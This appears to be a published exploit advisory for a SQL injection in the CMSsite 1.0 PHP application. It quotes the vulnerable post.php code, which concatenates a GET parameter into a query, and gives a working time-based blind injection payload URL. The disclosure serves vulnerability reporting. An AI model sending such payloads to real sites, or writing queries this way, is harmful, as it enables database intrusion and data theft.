CMSsite 1.0 - 'post' SQL Injection

# Exploit Title: CMSsite 1.0 - 'post' SQL Injection

# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 17, 2019
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link : https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Tested Version: 1.0
# Tested on: Kali linux, Windows 8.1 


# PoC:
# Vulnerable File: post.php
# Vulnerable Parameter : post

if (isset($_GET['post'])) {
	$post = $_GET['post'];
}
$query = "SELECT * FROM posts WHERE post_id=$post";
$run_query = mysqli_query($con, $query);



# Payload: http://localhost/CMSsite/post.php?post=1%20and%20(sleep(10))